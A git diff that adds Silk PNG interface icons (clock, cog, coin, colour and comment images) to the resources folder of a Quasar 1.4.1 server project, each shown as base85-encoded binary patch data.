b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_add.png new file mode 100755 index 0000000000000000000000000000000000000000..598b839b818bd0178517bdd88669bd8f9897a5f6 GIT binary patch literal 925 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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_link.png new file mode 100755 index 0000000000000000000000000000000000000000..481cf04c12df9c3a81e58f2b660566059d55eae5 GIT binary patch literal 961 zcmV;y13vtTP)=R~W}{mY5~mvTuu@_L=O9S(e2Z7eNN1X^TnY65PZkMq2E!Myv#IPD|MoT56%$ ziZCq#3bD0~B5HgoEtjrXkwUE?RZ5qlvz1m_+VWC_|IRsa&2I9$dG2$b|L@#;aybB8 z>K69_K}qlu9uYpI{r^LH8{enx)0?|Yg zbBPrEp#-|`O~W`8#MK*3@b+w3o^1crL$W#SAdX+Wsj0U3(C!SvM0TUs+jtz$U%kc> zsVT{I;C%ly42~B#W#aKuhwC?X2K2VCZPZb9&4=@M{Fo#=r&rgJOsDaOu>%nzT3B9& zyj@u+eBlL!%m_fgqlS6R2;{u%7BnBYsdc26A(AKW2jbs!pXq zc^yaEhH$7_i~zoPN$R2h(sba6MQ2#d`+0xF4aI$ zRRfRDhZCpkQCwUMi9`auUXR+^T2>21B8c}NN>YhJp@?Vy_05u|a^YS{MyaZ2f}_ng z ziy5>oEG$H6Y3U;>C@(LcXW{<-{?7=>fq?=nceM9W+x?0x=n};ZJH45VhjX-Vl@c$LMez8BK{Fk5J9h%Toeig^+qC6 z^g__y1W_;*DNWEus)9z4+SUg1)0oC4joIC7vYAb0XU;b}`+2c3_Q1J(AKvr697Ai3 zH*T1~Y2YLvK!56l7Va8v+-L?a0RixG>V%#HFp6K30Nzcsz4YRq_Sf$57eC9-uDbJI z+2<=j_l|yQp!}SfX=};ElTC)qzVjC_&~Q>O8@VqyWgQuO(>nBgYiV(G^Y-#w{QK4m zj+2b2OH={yLlfnD9M2Av4ng#OU5KV3IF5B}2ejooI)NtPq- z?`))DuZhNB!;ScDc8#zuMrz|c_j;p}*q)wF>e35_)|$7^U3@>*aQLl`W`_pRJbS#I zqU%!deA-%D0H|pAe0+hbqsiu1DR}YsK7QqqQzpP_rS-w8hU%8$zOE+96-^?MVB))P zDY-782$v>)Ak(!UH}B({`*2nAQGhsr_+EEK8MsoVsi_W$G%4HW&e9SSmw#gFkLx_~ zVS6n{=fPHP-MB_}Wreg9iQQRe ze;78NIdl1Ua|bY0+A3qjt1M>AM1~2bMehTB#7u)sCPPphzK4|c^OQp@1yvu|8^`1Rql9jVO^rWPyq`j(K*<%v~I4%{UU zM2JGsN-0BY{XYQU!&i^ptgo-P^Mzt`dh}*&#;`GC7Eh;ZfG`X(tBR_Q43XNODWz(F zv9YlH Bw}b!y literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_play.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_play.png new file mode 100755 index 0000000000000000000000000000000000000000..fb4ebc850a94b2c8c59502f38230ac54f164dc7c GIT binary patch literal 943 zcmV;g15o^lP)GE3cNY&!T;=j^f;gxRLSB zG&}X{iKV^(TLqKq((nH^HB^n^chQay$`D@KFoIjnHWarF`VjOrt_N+()gGrw;^Es) zekWfGF_*F4W6rycY4)M|Xov1W$d9~teRyOXfP(u9xvB$sk2`Shbq^GVew4gr@kzaP zX59LCdg%EwGkF7;F9pnouEP1|#-f#;Y_{cdNG`6*NqK5QVM8yJbeph7olboIHi!w*0{lB+uni}?Wrdw+^I36lWz9>_zB+Q!R?Y#*eJ+7IfA?SK}c<`81b)DS%WfNkkdw7agekd(LJt;LA} zdbHK;#S3jCdh9L?O#>;7i74;R$JJH|5^G}+nRTnh9}srxzBoes97%U|kSfg>rh$!m z0rw0++Cc#)*?5$g^H5Ak8dDIh+>J>2=C!_n&;)r9(Xr)x6+{IbvXosg^g6)PJa~^6 zM$(5Xqmkbs!zIIM{D^?Dr7 zWwB4O8@cTnIMbzn`GdXciH?#bSZFs>;4sc(r;{{_Ow*WTd* Ro>>3@002ovPDHLkV1hPn!1DkA literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_red.png new file mode 100755 index 0000000000000000000000000000000000000000..2842cc3386709236ba7608965c716054c08ecfe0 GIT binary patch literal 889 zcmV-<1BU#GP)Q5?pHNP6ih=t5yPA=98JOh~fJLk|&ANKv*VsNrUUhFJuyu9hv;ma*PeD|1sb z>Y+6B(ON1k?Ls1ni`{d>-PzgMnb~o6oZ0z0Gv!$Q;deOv&;R@2e1}5;prXCh96}{w zm@q_`r}zJc^cMd)A0#Bt^eOfsl|Z->eQlYT4n2kVDmx(DT>U~VF7hfxg^Xe?V5al) zynOxgXX2ZJ(A21nA@hTTM8hC(k2=Q<9`(zUz2IM1*zk>|g6OOU-+UcxM-$j~H@L>D z;4hRR%ez)LUuWzl@>xPK8D!k za&Y(WfN467V8_O|^!>g%*_GlW+GOfeGnM(-o#2~rEfTrgwGbb85N*GO*u-}z@-)<# z4C&if2(B84Ep?b|IE0Djq}b=Wx$lTJ`FB94jyR)EJNQR;5p8LNUaG2srfJNS7LS8- zTtuY(CPJmTV7G6%Xk?%-YEhw=YpOxaQI4sPUrbSJYb#_~HuimeePG`WLpqTU#!&?> zEyHUX=t;9}ZfJSgh)*k~f!%ILcXu}`Dk?BEGz5WRq3y^3?Y@r4hIGa>AkW0GcN(D` z+6P678DdG2;B-0-@yN)C(c>m*XqjmUHj)=g-85?;=j3=JwU-eqIgaq#VPjZP6buXu zKoA5olfaXHNQbjPSJ@C=vwrppvFsz2eEC^0ogT1f$`DuM_`mcXW3}REYYRfTxnNeM zR+ex@MR}N5`OPnn85Thj3{Lf|nei9p{NS07HJ>oP0~zDYoo2U zQY*UdG_Gr#>AG!R)-|`>)Lq@#-Pv(WNA2x=lUX$I42N&d^B(3f!vWwrpK?P89pNB8 z5X0E{ztGvlf#)_N_Rl#NGI2wRGo2M1zN-N7DxThVe$>T8uJ!~yvCMXQ8}eMg|H zHcg~{8!<@>@ZaT*NVZKaJ-(;tDBlwLXq+dfTLQRJ;m3{YHVsyv7n)FQoTY@FdPT0@ z-%eg7F_iP(xhX`-)mOUQbAUhk#yX54eM!XSJ_mZ=7p?$_YvnQ8bO=DLu97aP+8-7sDkbeT#N*a;HyK&4Y zU}wJdq_zWg+mKz!A9&!zwdXF>(qyIgCuBvz)x3Q8DJat2jfXGZLTCu%l<^Z-FLMS1 z)?^A|ilGXp?>OM^QW5O#M-M$XtkdJR=?M-V*W;zt24`5szAPJ9FLMS1R-Ae+Zp*bn zmv2Y2tWronyx|B=WSrAv!Tt#yy}-wSianX-V7<&43`joqfM0vT41HlG-nqkQrI+?b zR6OI$&?HLm^#L9Qc=S1hecA89dYLmAkaXadZmI4u_FlIl-RMFGEi9-4k$!^e5Cur< z)Qq!%g+4?V)>j8{mxEFkrw1t}Lwu{+bOO=O}tb0*s3 z;?SOygu2nA{{~pC)+DFXi8p4UFL75cX74s&?p~7ytGzT$T(k&nQ>LJ0@?^9oCZZ}j z`nOzCQW8VRZnqmn#l_-`^=bOJwMTeD9Dr{aGX}l|3pCN2kbrOT@hFRm`W;YEP!L7b w6FtPV|9@qMbJVChHnC#lNKLd5{D=|3Up1H0p?}@APtL+ zxmrl$Wc`zf3n*g`v;0rbIxj*dHiZTr(m6?gBTa=mqF6QotNZ~m#F3_akIwCAOSP@W zH9<<)RMz+vlE{$UIr?75NZmBOzJ*kxEUe+X}JB?9)jT!y^oDKLQExwUe@XGFqhsIZaLP7 zbI?9%3)Yi}p{w3$>$ba`|E~FKKCee=m)!r({S66-T?q1-?uGyW002ovPDHLkV1gB6 B%HRM1 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_add.png new file mode 100755 index 0000000000000000000000000000000000000000..04f22badca1ff91737468581b5a24295bd0814fa GIT binary patch literal 814 zcmV+}1JV46P)2z8@H#eso9vK+4F-h&nJZ&{G7+WHR>s{e4_qTwrf+4t zo}Sk7`8;yD9400vG!kEtGboCJ$;nB0ydu)MsC zrluyXzP`StsD;JFMHe4lUth<{$_gY&LO2{oe}6wa0=0$N*;!HDc=xP zGnYF%JCJ1=$z&2vr!(Ey*l1{NZ8iA){`CC(ya4fcpU-#ccDs+;+S+6tiPf{SGhvr2 zQ;--M8bW(}yWzS@cXzjeG60KH`i!KUM1jQ>oB#e%Zg6L7WWGu8f3f0;{|@fi^gbbu zMx!mm!^7J4_O=l7bf|2?RSyLh4Jr*XM+s*`=%WZM^9Z{oocaIl!k@|JwX(9!VVt1xutof=Wt6k zLhSxrQ|#b+5}?d#wU#zFH+9wmSwoOxbVANu8-ICvC9OZP{@IRIMx}06RoYSO|-wdx|%W=3>I87B3X;u?cVu^ z;VyxF2;9b|J!~>#$>nkxsI*$GOl#-o=X+S&e!t&$gfL`&i~u zsRYGh5fnus!hPJgpcSsMv2k#EdU}ko0zHtGOC%EHg^{A!Y!*3=Bk!t;!{MNHk@g~y z2m}IwDw1%=pitc_W_G{D{G&il8C{Xwocj8wwNOO=jZ1qtXAtNDN$f_3b9yBRcuLaf+-$^4woBr_S;YlEx^y^MLD~>^I9dCo11%s zD&sf-J3c;EC!nGep|SJt`oQ_@73jlX0pi~POgA7c*kE&E`L}uxFarexVtT!vE)|5s z;XF=Y=;`TUL;&dnsI%Aso($J=5#CyXS6Exkg4gTyWipxP7|vlsL&N?0`ufe@-d?(u zkQ{#`KYZH9i_y_eG49s=LNp*;OMt7gCr{Rxm*rXsT4${yX7A% zfy$qf9&)?}vKa=y;!H;A_w0Y4^U%=H0D}AJh#6!4Va@lZeCFUKFEg9WSL2BK@OYsz Z`4?5=&N;mrg`ofd002ovPDHLkV1fozjIRIy literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..47b75a456a4bb1487dac02c60b7e2e9cb5e210a6 GIT binary patch literal 865 zcmV-n1D^beP)GR@vSHz5C(pPxHny(nM!6aSI^7R#-{J~?A^0H*YCdW>wX><0M=1!YHEsWHk&65 z2EzpTxW}DK*f^ce)R~!?WFk%?;`Pu5C{Y@ z9*YwPJjH96dcf=xJG z*kl}##L?N=83%;ar!Pg^cVqOf0lN#g5Vlp~vzQCln=Feu@%+Ain zAxsXvy}hQ%p)0kKIRWUX89RYeM1w`x^47xBl|kR;=6}n}%d;PbNXFDkg2d$HB$&Tm z{utC0|DU)7(XWO0;TB^4`9-wVaC#H&fkYyy8yXslc|4xD*f81w?^q4!T|J^pT>J`N z!zOX^g^2B+#!yvN6)P_<|3AiofdL_tJahBjw(;Om)xxQMf{?WUJ4;0fJMO^QaUmuX zzldkm(9nR~++1P8J!ouf?5?h^rbixT09(uOy~>BS_9Toi+4ykpEG-e7Pv>wrR8CF~ z&1SQ^k9z?Ck8E=Xrk5^E*cXKych#SXij`csx@x zGc!|URR8Z@-ez@mRk*aYR7k)D1f1O3+Cn0cfYE47n$6~dk&%%?lgT7JmVkge2$-9n zpJ&`|cahWSWTMe1B9RCPkQp8xE+RzCz`y|4+uPfbN3gQ8A`gedNTpH;g+d_UJ)6yz z4Fm%4`~4Ui8p;yz9;plr!(e=T98FD4@*DwCRS>UPNT$c> zo?c&Hhu7h@aN6V&1tPx8*gZ6@Cpc++uq*h z%caUBNc8pfL9JGoQH984W#PvAo3T{LfK|&gzA{=34Ob$Oa01d}ZgX>!_ec+@0!bWg zZEZY3$Xrps^HGnZy)XhpB3Q?|L8|5NS5;MU0@4z1Yinz~tE(%$yu8el&>VC+oqM!b zUL6>`@#Ao36o+40kdBOD!6?DqJJo5CNE9zGFZbp`ByG}=Ao-x^>hZYYdRL3xpb>|0 z6`ap5;#bOuW!+V@D=SQS@4#R%DEj;RvukT>Jeao2=Q7}vRgO%u2W+?sPHhPeVp4pM znlagO1$C0!>KuVyub0#0>B}QT(5O{=_V(-eMuI!|d>{K8qCYcqi&%MqnBx`RKD=zn zdk0FTvZJ=PmaD0$VVtk8J&HM7koo$CSKkj+5(}mL%0|UtnPE5^&TTuC#b@(A6Cn_a z#p1%bmzNUkZUmXM6^BWZLDKNgG~wu{ABkB#Z1U5FW51~DdFk%7wj^U$U*M)x=Q;b+ v;*9-?keyPTVF`$}%1*IX=}Fe|;KcNA$#nLD6jKLZ00000NkvXXu0mjfo}8uk literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_go.png new file mode 100755 index 0000000000000000000000000000000000000000..3262767cda95a217ac8d3fabf6c4bfe3514fd770 GIT binary patch literal 859 zcmV-h1El-)HU~Z@BQ7|ITsWqFPt%czwZJk^u%JZL0Ogu z7-JwwQn0tTclx3}?kvID+L{XidsxQ^&e&|W7P?hu`JbU6)Keq zD2hUaNxZkB72a$%4^2)^`UtC|A7te-nGAX1Xrjep5qO>_@7ffX%SGn`-ED7gLpU5( zk(@u5K{Og2Z)$29rKuELp-_NyIt_Job>MI~K&R7bgynLX>`sh~jA#lt3}_YQwqglZ ztJPR4mEiF3kO&v?|I7ONdO%xaZnyg`4MVH2u&{85WF^F8xkx0!oK7d7&*!07ENT-s zHZ~xYO7;1CzImGB_xm6GXq~MiVV0C|gzZGQ)-QC?rN*&h*fy7fxUu2>pgCsM)-Q?tMb$Vds z*E@*sEW?$R-d!Zlo`yI#H#gqa);3B?D6pBWXVBO67?`R6Qy3_qLZ+|_MxhlJx8`9r z{Xs@mdTouNQ0N7+J#TJqhNGh+O#w+J@OC~45~`3D2_z=L-&zrFU%dy%Qdzg0ic~cM z%s{~na19L&^isj*=4PpCtqL-e!E)J#V5X7%DWt(#}Pq3W$oGSy^Pc4j%jrk7_ z4xV5*S(C}slXQfB*Dx$m5ut)=uA6Vdoof#vmX1Pr{o_H2ueAT3P;2Ktrs3gX7h2gv zE62G1jK||?p|odbXLH|f%y4eoeRKHd`|tRw^&nXM?`u5!c)i}iTrM|2E9N*Z__gcJ lE2dmBR}@y4olxbIzJJd{=EC=vF*^VN002ovPDHLkV1lGDi4On( literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/coins.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/coins.png new file mode 100755 index 0000000000000000000000000000000000000000..0ca9074d66e7a008dbdd265a48ff37f454941be9 GIT binary patch literal 732 zcmV<20wev2P)7$(F5I~EPw2+A2=20Sy*#|n7r8sf)7*RgqMLv3&KWmL+^F4r z7i0Z}>kq&FSJ~Z9+<5!dQFwCOz1ndvw%m_4J#=sT@Q1U19`B}1iL1?~3va{ZF~|VI zfHw0WI@T{zdi2I_>3m@YYk3d;l(JU>d+bPFLOo8G;T$3)1!qp*$dock%HEEk|V0 z3L2&;r~p>tQh+yD{T!MxBF4;%7xC6JH1CtlE}+w%Xkuu&haUcdHC?=ZKr(+GZJfIQ zJ6@GU%>XYSae67{=&NN{rB<>+N;FbBA#_{A0WZW7cXJ0E=}(_?dx9< zr?bEW55s(NboZ^^cb|S1s~AxnBh?-gQ{Ob@*3}OO`vCi&FRqICO$~lSg*6r5QDf7DTmJy^bFNy&p3d3; O0000Fn@9 z6}_p-po(}ZBq}nQNbG73P@(2?NiZt6&X~)Q>%%i4kr8qQ=3COEo>Z8 z*gxJ~L9Bf2mp|AW?4AJafQ|B5v`GBm0)<^C(Vi8&d>zzaGr9rvL%;kwm?qdJ*cN`F zOcqt~+Pr7&1#Vw8>eV~{)UEe zBiv}!KK=I6or}I0!A1+%jcFuZMU#K=`u1Z}C8^y<qlji`q{QWr=E3G!ag_G z_nO;N#PJ=nv_`o0C*ktKkBxus*Q*bvceNp!u2=KJyN6kimuW;5e!ersP&@v~d3bGL zL=5kUl{40IL=1Ccby6%>#?RN60G7VkIr73|1VIEh)s6TUxDXWT zs&peQbYX%;a3Ml#B!N_onSc(OOp=+*$GtQ6-rw(iyA+ctc;M^~59e`ImCZ?K$0t?v zp(>*);;E3R=sd!;{%=9RgLFV+mBTn)0(Z^)#jt!uQqRedPJ=Z z_@5kt?prW*$m+P^HpIy1o3}jyVnLD$PPPHs#dek;aj|Br?*BYcZ1W$omHSB2M&brR z@i1cGBOeHEI7Tq|C7LWFK_8-mHL?|u%XCHG#2bU3EBl4g;}&n{Nfsg9Y@goGG15*HQ0<^0KM#w90$_`+XUOjFN}~y z>v--w+G$~<7J)N@&3Y(U14x9LHfV|@tB`guM#v3KqWLN|tg$+~LFF&Q;_X1JrxoDl z(J6Do7bDnc0lV=ONmtP14c_1cHdT_^b2N@vd)6STjdAGA&xEA|PG@#%&-|n5>rc)W zCS02-PEf=vl<@n%z#sSq)M7Fv9NtH6`!3%6U1jpSQ{)#P;{0-&zVbcB_ZFSFW`6Xo z5ggYgix<%DJ2YJ(96NzY?~z4o*m@OH7xJSeIC1g4`_)}Yo4~gjzjfATPUW|Kg#^Q( z<;X&i|^ZNRWr#pPVFRH$(hHl`Jc@d3urM&Fn54lrL`PX7e3_ppL@2%x)G0ch8 zX|dcoc)q>_uylL4RGZ7+*(k3aAtI**(xB))9@w8d`yYJHm@9=_7d-#~002ovPDHLk FV1nt|Z+QR! literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/color_swatch.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/color_swatch.png new file mode 100755 index 0000000000000000000000000000000000000000..5597fafa51e78c0a47c7473d7655878d1aa48183 GIT binary patch literal 152 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!73?$#)eFPGa3-AeX{r~@ez?s~LstpMnUSD{< z>E`UaAFihV%g_E_zVZL6V%;-l(m<7rB|(0{3=Yq3qyae^o-U3d9M_W*4zN6BHCA7u xnvi;+vAcOe!$!t1HW>}g7Pb`d;HrxOJ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/color_wheel.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/color_wheel.png new file mode 100755 index 0000000000000000000000000000000000000000..809fb00e5aa1f28726db3e2a5adf8f536bfbcbf1 GIT binary patch literal 892 zcmV-?1B3jDP)n`HO=N{yXhvI{h!_0ot^nS)JXfldwbvK_6nsG2Z&Wi&v@PQ zheULFT39nvnw}fe2u3u2dsOe=oVI#j9M1QC>zmd3XI9C7d+1ER`oBP|zA^0tJC|RwkIug^e1fA zX~N2H7aFgMFJ&|`u{>vFkyaX=K50U-_$2WeLXrR?y%y9osP$m;9(wLDa(L0IUjO100%{ufD~Y>02&pjbm4v#?whc82VKwMSB#SqZE`$mB-jcCHlU+0 z5!eC}fZ@6i#^osNm{8QAUxQqp!Je3uR3kxXnuJ~O)qerH3OWj$UL38Ff>!fEx(x_D ze9vUyrvmBUlf}BOj>p;pw*yU}8i3vdQv(|vr;&lW3vL^{HjGO;yJh@AvLL%V=8X-d zj-N^keq9GM0OdgtfE|S-5NpMdyD8XjL8D3d)Ci3ms|*JAHOZR#{F@d3_1R~2nP^IO zx1jHVVL;UcM?t(JNH>#EYr=^m)YgmC{@kfR@+(bUGOoFIyidRT#pP%sAgjUt2GomC z-GbUC?3chRN8#8QO)J9o??pQO=z9z5hjj@+!++`xv!lb9;ml&Wvph&Nw86?bNyh%=cqNQD8i+$LPB!e5mg zGpxOzX7}R-bs>C2a6nYto*kyOG|b@Xj8Ib}DhS31*TztPJc)IANu4e{-2WFIIaS?u SuzCdm00004%P)i2vikyMR~)n*keF9=!Gc_n*K2@qsNT?}H4v4a974 z1ArVJApZ0B-@pGKzWw|E^3%Wn&p!V9|K$C@{}12&`+x7vzyG&i{r!LE6~yrB1;;^# zm?0Y=moxPMSn>r>N00000NkvXX Hu0mjf$^yWL literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_add.png new file mode 100755 index 0000000000000000000000000000000000000000..75e78dede2c9cc3b789b880e5cfc930e60bf2c91 GIT binary patch literal 530 zcmV+t0`2{YP)~sR==D{nWel_pb&wQ zmrP)tTX!KGk)Sk|wtZaUrliFMw8)@DB*yUg%5WWG5T6(V4-98P2Jan%`$mH2CMxfq z+T@bruYw${Wles0MWFb|;3xR>p5Y`0A6-c}5Tk;D`5i8(NGiA>_&gYcZy8+IQP@fF zZXmTF{tLW(AMNV7m2gb(;iZIqf*k=ah{%H8=`Ai$Cv75^d>yNTn3+NncKU5>gAg(yWFU6q^MCd-9z5C;@-l1LJzY$X{vI4G2|m$FQQvK%ZWWD8>- zgBiw>v1GpI?|EmK(9D?Pt^eVDzka{xd6!QHK=zl&{!Nfkrw-)wa9%lZ5e+BOkzk~6 zb`NhB39iQI(vgtta};&~Py9F*i3oR3gsTUF{+^(_C7hTDhu4ICg9NR?Ca>sR5R#a$ zg0P~t8SBSO2K9G@Glq|E2nQeV&ZUGcy-m>2zaj()4h827pPD{kBVq5#25&OFu5&K1 zZ$Y$w#8tIM3A+q$Ur5+scugk+7OSALdr=5t9Uh{Pd>x{jwKK^o{&9%j&aTn&d1W2y zExSmgD!@cq5T@eg7*6z|mh?c)uMdeO+6$8zUDcUbEs4eRSQBVl4RdcXmJ6d%lj=Y1 z3T|p2-xQrZ4kh`~6T?s?0c8O|Z8(gLap+Sj$Qc~LIppMuxoDeKhQFQ7ZB;NPdEKq| zKERb8J8}SqUP@&!aZd6*F{tz+w*;+OA#)3PQP7u#!%*&pgIo_xCCgEt;yds5U)P)+ mI@7OINTTfluFUYPSbql#9Qmg?vhGv>0000+d`M13jj6(1&OTfK) zg!qUPVgGHUxLV}I1}ul#Fzc;Br`N~2tN2UM;u$wjO|KGs%@7Q_4glGCOy56_G3R!? z>v7<%+Ya@+0M}rU362yLEYfg7Cb)5SH?+V#Xxtre9s4nKZWn?f-mEDouwH?+FD?;tGeKp(!2F0zvT?C)LP^6Ev*qJN7M`JO$ro7H zs9RU)9gY7Ht*ot^&vZXZDa)Ugf&)Yg1xe0XL6y?}uVE_`?(Q9lvEUEN#mz=NKU_+g eqns}GFZ~5YF8XjkorNI)0000kO-!8JjERGZgNx4o8zwI5pnrkJT^AW7B+k01lLkoCLBu@bfRhnJSkT}{ z5cwz-C?AEk;`Q7|NyO0V@Jst%?>X<@)8|?6hNplZoH}p}R=_wBd4A);huvr*D{8ta zv>weaRZy(zA{a{x)NMK$oUyoq;&Q_jA9Yid>V_!Q3{lkDazCTg+2GL8fKO$yVv7pZ zw#ZdlB3o|B^q?JFdAt+nq80!As0d}1Z|KFR(*lEh^G}{es&~_I}wY;n4d5jAs0d}gj@(+ z%6*K*29I(Myv%_UPWDD&5qS@s3~ZAJGDH vT*SlN0ce3)r#d%-F%SaNZe6;L@E^Vb!Ji3~dec0&00000NkvXXu0mjflI-*P literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/comments_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comments_add.png new file mode 100755 index 0000000000000000000000000000000000000000..b32563442dac029c917d2904a9b18699286228fa GIT binary patch literal 648 zcmV;30(bq1P)+T3bY=D1?}_NlY?Ho5{==PS1UvlqjYh_;~Z)+;i@`X96ce<835NqD^>4 z&XOGf0{;@=hx@N*ld4p4l~reDjUrhpR@CV9f@0l`W(F}47g(HMcGd5)tFmQBWlN4) zva0$#ktvJ8U{eF>D&mYUS}ayos$i>R-q!og44#*4SLN7QiqjOoolCvH@_0Ib%9!*{ z6Iog3kb+N=+>-pnU?fMOHjgh#DFJzSa zr=~gCYkDH){NQL{E?_QTF5oToImZ%%?|Kft>?cE#_{4{V%E1ld`g*!OkTk8$ZoV> 